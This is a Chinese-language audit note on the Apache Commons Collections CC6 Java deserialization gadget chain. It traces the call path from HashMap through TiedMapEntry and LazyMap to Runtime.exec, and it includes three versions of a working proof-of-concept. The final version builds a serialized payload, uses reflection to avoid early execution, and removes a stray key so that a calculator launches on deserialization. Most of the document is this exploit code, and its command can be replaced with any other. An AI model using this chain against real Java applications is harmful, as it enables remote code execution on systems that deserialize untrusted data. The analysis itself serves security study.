java-CC6链审计笔记
一、审计过程
1、lazyMap
在之前CC1的审计中发现ChainedTransformer的transform方法还可以被LazyMap的get方法调用
public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);
}
所以只要令factory的值为ChainedTransformer对象,则可以实现调用。而protected final Transformer factory; 则定义了factory是一个类属性,所以只要能够通过构造方法对类属性进行赋值,则可以实现对象的传递。
protected LazyMap(Map map, Transformer factory) {super(map);if (factory == null) {throw new IllegalArgumentException("Factory must not be null");}this.factory = factory;}
同时,还需要令 if (map.containsKey(key) == false) 条件满足,则说明Map对象中不能包含对应的Key值,则才会进入If语句中进行调用。
CC1扩展
接下来寻找谁在调用LazyMap的get方法,通过Find Usage找到了3000多个匹配的地方,其中也包含AnnotationInvocationHandler
其实这也是CC1链的一个扩展,但是由于仍然是对AnnotationInvocationHandler进行反序列化,同样不适用于新版本JDK,所以该链不进行审计。
2、TiedMapEntry
发现Common Collections库中的TiedMapEntry调用了get方法。
谁在调用getValue方法,发现同类中的hashCode方法在调用。
而哪里有hashCode呢,其实在审计UrlDNS链时已经知道了,HashMap就存在hashCode方法,且HashMap本身就重写了readObject,可以较好地实现反序列化和自动调用。所以CC6相对是比较容易理解的,而且不依赖于JDK版本,实用性也很高。目前确定的调用链如下:
java.io.ObjectInputStream.readObject()java.util.HashMap.put()java.util.HashMap.hashCode()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.ChainedTransformer.transform()org.apache.commons.collections.functors.InvokerTransformer.transform()java.lang.reflect.Method.invoke()java.lang.Runtime.exec()
二、编写链条利用
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class ApacheCC6 {public void CC6_ser() throws Exception {// transformer[]数组,相当于一下代码的执行。/*Class<Runtime> runtimeClass = Runtime.class;Method method = runtimeClass.getMethod("getRuntime", null);Runtime runtime = (Runtime) method.invoke(null);runtime.exec("calc.exe");*/Transformer[] transformers = new Transformer[]{// 1.相当于Class<Runtime> runtimeClass = Runtime.class;new ConstantTransformer(Runtime.class),// 2.相当于Method method = runtimeClass.getMethod("getRuntime", null);new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),// 3.相当于runtime = (Runtime) method.invoke(null);new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, null}),// 4.相当于runtime.exec("calc.exe");new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);// 创建lazymap,并传入chainedTransformer对象/*LazyMap有一个静态方法可以让我拿到它的对象实例public static Map decorate(Map map, Factory factory) {return new LazyMap(map, factory);}*/LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);// 创建TiedMapEntry对象,并绑定Lazymap对象TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5");// 创建HashMap对象,并将TiedMapEntry作为Key进行处理Map<Object, Object> map = new HashMap<>();map.put(tiedMapEntry, "lingx5");FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(map);}public void unserializeCC6() throws Exception {FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();System.out.println("运行完成");}public static void main(String[] args) throws Exception {ApacheCC6 cc6 = new ApacheCC6();cc6.CC6_ser();// cc6.unserializeCC6();};
}
成功弹出计算机
这只是在序列化,并没有反序列化他就弹出了计算器。同时报错
Exception in thread "main" java.io.NotSerializableException: java.lang.ProcessImpl
我们在下面解决这个问题
三、异常调试
由于HashMap的put方法
会导致提前调用hashCode()
方法,从而在序列化的时候就命令执行
Exception in thread "main" java.io.NotSerializableException: java.lang.ProcessImpl
这个报错也是Runtime在执行方法时的底层类实现类对象,由于ProcessImpl对象
不能被序列化而导致的报错
我们使用ChainedTransformer的Transform()方法
一步一步循环从而得到了Runtime类。所以我们在lazyMap
实例化的时候不传入ChainedTransformer对象
,而是传入一个其他无意义的类。在通过反射的方式修改JVM已经加载的LazyMap
对象。修改之后在进行序列化。
LazyMap实例化
LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));
反射修改
Class<? extends LazyMap> Clazz = Lazymap.getClass();
Field factory = Clazz.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(Lazymap, chainedTransformer);
修改后
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class ApacheCC6 {public void CC6_ser() throws Exception {// transformer[]数组,相当于一下代码的执行。/*Class<Runtime> runtimeClass = Runtime.class;Method method = runtimeClass.getMethod("getRuntime", null);Runtime runtime = (Runtime) method.invoke(null);runtime.exec("calc.exe");*/Transformer[] transformers = new Transformer[]{// 1.相当于Class<Runtime> runtimeClass = Runtime.class;new ConstantTransformer(Runtime.class),// 2.相当于Method method = runtimeClass.getMethod("getRuntime", null);new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),// 3.相当于runtime = (Runtime) method.invoke(null);new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, null}),// 4.相当于runtime.exec("calc.exe");new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);// 创建lazymap,并传入chainedTransformer对象/*LazyMap有一个静态方法可以让我拿到它的对象实例public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}*/LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));// 创建TiedMapEntry对象,并绑定Lazymap对象TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5");// 创建HashMap对象,并将TiedMapEntry作为Key进行处理Map<Object, Object> map = new HashMap<>();map.put(tiedMapEntry, "lingx5");// 在执行put之后,反射修改LazyMap对象的factory属性Class<? extends LazyMap> Clazz = Lazymap.getClass();Field factory = Clazz.getDeclaredField("factory");factory.setAccessible(true);factory.set(Lazymap, chainedTransformer);FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(map);}public void unserializeCC6() throws Exception {FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();System.out.println("运行完成");}public static void main(String[] args) throws Exception {ApacheCC6 cc6 = new ApacheCC6();cc6.CC6_ser();cc6.unserializeCC6();};
}
现在没有报错了,但是他也不弹计算机了。我们调试一下看是哪里的问题
看到if语句里的表达式为false,所以没有调用factory.transform(key)
方法
这是因为在map.put(tiedMapEntry, "lingx5")执行时,触发TiedMapEntry的hashCode方法调用LazyMap.get("lingx5")
该key来自TiedMapEntry构造时的第二个参数
。此时LazyMap的factory仍是初始值,但根据LazyMap特性,若key不存在会自动创建条目,导致"lingx5"被注入到初始空HashMap中。
我们继续修改,把key(lingx5)删除
// 反射和直接删除都是可以的,因为remove的修饰符是public/* 反射删除Method remove = Clazz.getMethod("remove", Object.class);remove.invoke(Lazymap, "lingx5");*/// 直接删除Lazymap.remove("lingx5");
四、最终代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class ApacheCC6 {public void CC6_ser() throws Exception {// transformer[]数组,相当于一下代码的执行。/*Class<Runtime> runtimeClass = Runtime.class;Method method = runtimeClass.getMethod("getRuntime", null);Runtime runtime = (Runtime) method.invoke(null);runtime.exec("calc.exe");*/Transformer[] transformers = new Transformer[]{// 1.相当于Class<Runtime> runtimeClass = Runtime.class;new ConstantTransformer(Runtime.class),// 2.相当于Method method = runtimeClass.getMethod("getRuntime", null);new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),// 3.相当于runtime = (Runtime) method.invoke(null);new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, null}),// 4.相当于runtime.exec("calc.exe");new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);// 创建lazymap,并传入chainedTransformer对象/*LazyMap有一个静态方法可以让我拿到它的对象实例public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}*/LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));// 创建TiedMapEntry对象,并绑定Lazymap对象TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5");// 创建HashMap对象,并将TiedMapEntry作为Key进行处理Map<Object, Object> map = new HashMap<>();map.put(tiedMapEntry, "lingx5");// 在执行put之后,反射修改LazyMap对象的factory属性Class<? extends LazyMap> Clazz = Lazymap.getClass();Field factory = Clazz.getDeclaredField("factory");factory.setAccessible(true);factory.set(Lazymap, chainedTransformer);// 删除名为ingx5的key/*Method remove = Clazz.getMethod("remove", Object.class);remove.invoke(Lazymap, "lingx5");*/Lazymap.remove("lingx5");FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(map);}public void unserializeCC6() throws Exception {FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();System.out.println("运行完成");}public static void main(String[] args) throws Exception {ApacheCC6 cc6 = new ApacheCC6();cc6.CC6_ser();cc6.unserializeCC6();};
}